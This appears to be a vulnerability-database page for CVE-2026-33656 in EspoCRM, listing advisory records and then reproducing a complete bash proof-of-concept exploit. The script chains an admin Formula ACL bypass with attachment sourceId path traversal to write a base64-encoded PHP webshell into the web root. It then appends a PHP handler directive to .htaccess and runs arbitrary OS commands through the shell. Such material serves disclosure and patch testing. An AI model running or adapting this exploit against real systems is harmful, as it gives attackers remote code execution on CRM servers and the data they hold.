| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2026-33656 | 22 Apr 202620:01 | β | attackerkb | |
| CVE-2026-33656 | 25 Mar 202612:58 | β | circl | |
| EspoCRM θ·―εΎιεζΌζ΄ | 22 Apr 202600:00 | β | cnnvd | |
| CVE-2026-33656 | 22 Apr 202620:01 | β | cve | |
| CVE-2026-33656 EspoCRM vulnerable to authenticated RCE via Formula with path traversal in attachment `sourceId`, exploitable by admin user | 22 Apr 202620:01 | β | cvelist | |
| EUVD-2026-25081 | 22 Apr 202620:01 | β | euvd | |
| CVE-2026-33656 | 22 Apr 202621:17 | β | nvd | |
| π EspoCRM 9.3.3 Remote Code Execution | 17 Apr 202600:00 | β | packetstorm | |
| PT-2026-27774 | 25 Mar 202600:00 | β | ptsecurity | |
| CVE-2026-33656 | 5 Jun 202619:17 | β | redhatcve |
#!/bin/bash
# ===========================================================================
# EspoCRM <= 9.3.3 CVE-2026-33656 β Authenticated RCE via Formula ACL Bypass
# + Attachment sourceId Path Traversal + .htaccess Poisoning
#
# Author : Jiva (jivasecurity.com)
# Writeup : https://jivasecurity.com/writeups/espocrm-rce-cve-2026-33656
# Product : EspoCRM <= 9.3.3
# Auth : Admin credentials required
# Impact : OS command execution
#
# Usage:
# ./poc.sh <base_url> <username> <password> [command]
#
# Example:
# ./poc.sh http://192.168.5.16:8090 admin admin id
# ===========================================================================
BASE="${1:-http://192.168.5.16:8090}"
USER="${2:-admin}"
PASS="${3:-admin}"
CMD="${4:-id}"
AUTH_B64=$(printf '%s:%s' "$USER" "$PASS" | base64 | tr -d '\n')
AUTH="Espo-Authorization: $AUTH_B64"
# JSON id extractor β prefers jq, falls back to grep+cut (no python3 needed)
extract_id() {
if command -v jq &>/dev/null; then
jq -r '.id'
else
grep -o '"id":"[^"]*"' | head -1 | cut -d'"' -f4
fi
}
die() { echo "[-] FAIL at $1: $2" >&2; exit 1; }
echo "[*] Target : $BASE"
echo "[*] User : $USER"
# ββ Step 1: Create attachment (Document/file, .txt β passes accept list) ββββββ
echo ""
echo "[1/6] Creating webshell attachment..."
RESP=$(curl -s "$BASE/api/v1/Attachment" \
-H "$AUTH" -H "Content-Type: application/json" \
-d '{"name":"test.txt","type":"text/plain","role":"Attachment","relatedType":"Document","field":"file","isBeingUploaded":true,"size":28}')
SHELL_ID=$(echo "$RESP" | extract_id)
[[ -n "$SHELL_ID" ]] || die "Step 1" "no id returned β response: $RESP"
echo " Attachment ID: $SHELL_ID"
# ββ Step 2: Formula sets sourceId β ../../client/x (path traversal) ββββββββββ
echo "[2/6] Setting sourceId via formula (ACL bypass)..."
RESP=$(curl -s -X POST "$BASE/api/v1/Formula/action/run" \
-H "$AUTH" -H "Content-Type: application/json" \
-d "{\"expression\":\"record\\\\update(\\\"Attachment\\\",\\\"$SHELL_ID\\\",\\\"sourceId\\\",\\\"../../client/x\\\")\",\"targetType\":null,\"targetId\":null}")
echo "$RESP" | grep -q '"isSuccess":true' || die "Step 2" "formula failed β $RESP"
echo " sourceId β ../../client/x"
# ββ Step 3: Chunk upload writes PHP webshell to client/x βββββββββββββββββββββ
echo "[3/6] Writing PHP webshell to client/x..."
# Payload: <?php system($_GET["c"]); ?>
RESP=$(curl -s -X POST "$BASE/api/v1/Attachment/chunk/$SHELL_ID" \
-H "$AUTH" -H "Content-Type: application/octet-stream" \
--data-raw "data:application/octet-stream;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==")
echo " Response: $RESP"
# ββ Step 4: Create second attachment for .htaccess modification βββββββββββββββ
echo "[4/6] Creating .htaccess attachment..."
RESP=$(curl -s "$BASE/api/v1/Attachment" \
-H "$AUTH" -H "Content-Type: application/json" \
-d '{"name":"ht.txt","type":"text/plain","role":"Attachment","relatedType":"Document","field":"file","isBeingUploaded":true,"size":999999}')
HT_ID=$(echo "$RESP" | extract_id)
[[ -n "$HT_ID" ]] || die "Step 4" "no id returned β response: $RESP"
echo " Attachment ID: $HT_ID"
# ββ Step 5: Formula sets sourceId β ../../.htaccess ββββββββββββββββββββββββββ
echo "[5/6] Redirecting to .htaccess via formula..."
RESP=$(curl -s -X POST "$BASE/api/v1/Formula/action/run" \
-H "$AUTH" -H "Content-Type: application/json" \
-d "{\"expression\":\"record\\\\update(\\\"Attachment\\\",\\\"$HT_ID\\\",\\\"sourceId\\\",\\\"../../.htaccess\\\")\",\"targetType\":null,\"targetId\":null}")
echo "$RESP" | grep -q '"isSuccess":true' || die "Step 5" "formula failed β $RESP"
echo " sourceId β ../../.htaccess"
# ββ Step 6: Chunk upload appends PHP handler directive to .htaccess βββββββββββ
echo "[6/6] Appending PHP handler directive to .htaccess..."
# Payload:
# <FilesMatch "^x$">
# SetHandler application/x-httpd-php
# </FilesMatch>
RESP=$(curl -s -X POST "$BASE/api/v1/Attachment/chunk/$HT_ID" \
-H "$AUTH" -H "Content-Type: application/octet-stream" \
--data-raw "data:text/plain;base64,CjxGaWxlc01hdGNoICJeeCQiPgpTZXRIYW5kbGVyIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwCjwvRmlsZXNNYXRjaD4=")
echo " Response: $RESP"
# ββ Execute βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
echo ""
echo "[*] Executing: $CMD"
echo " Webshell: $BASE/client/x?c=<cmd>"
echo ""
RESULT=$(curl -s "$BASE/client/x?c=$CMD")
echo "$RESULT"
echo ""
if echo "$RESULT" | grep -qE "uid=[0-9]+"; then
echo "[+] RCE CONFIRMED"
else
echo "[-] Webshell did not return expected output β check manually:"
echo " curl -v '$BASE/client/x?c=id'"
fiData
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation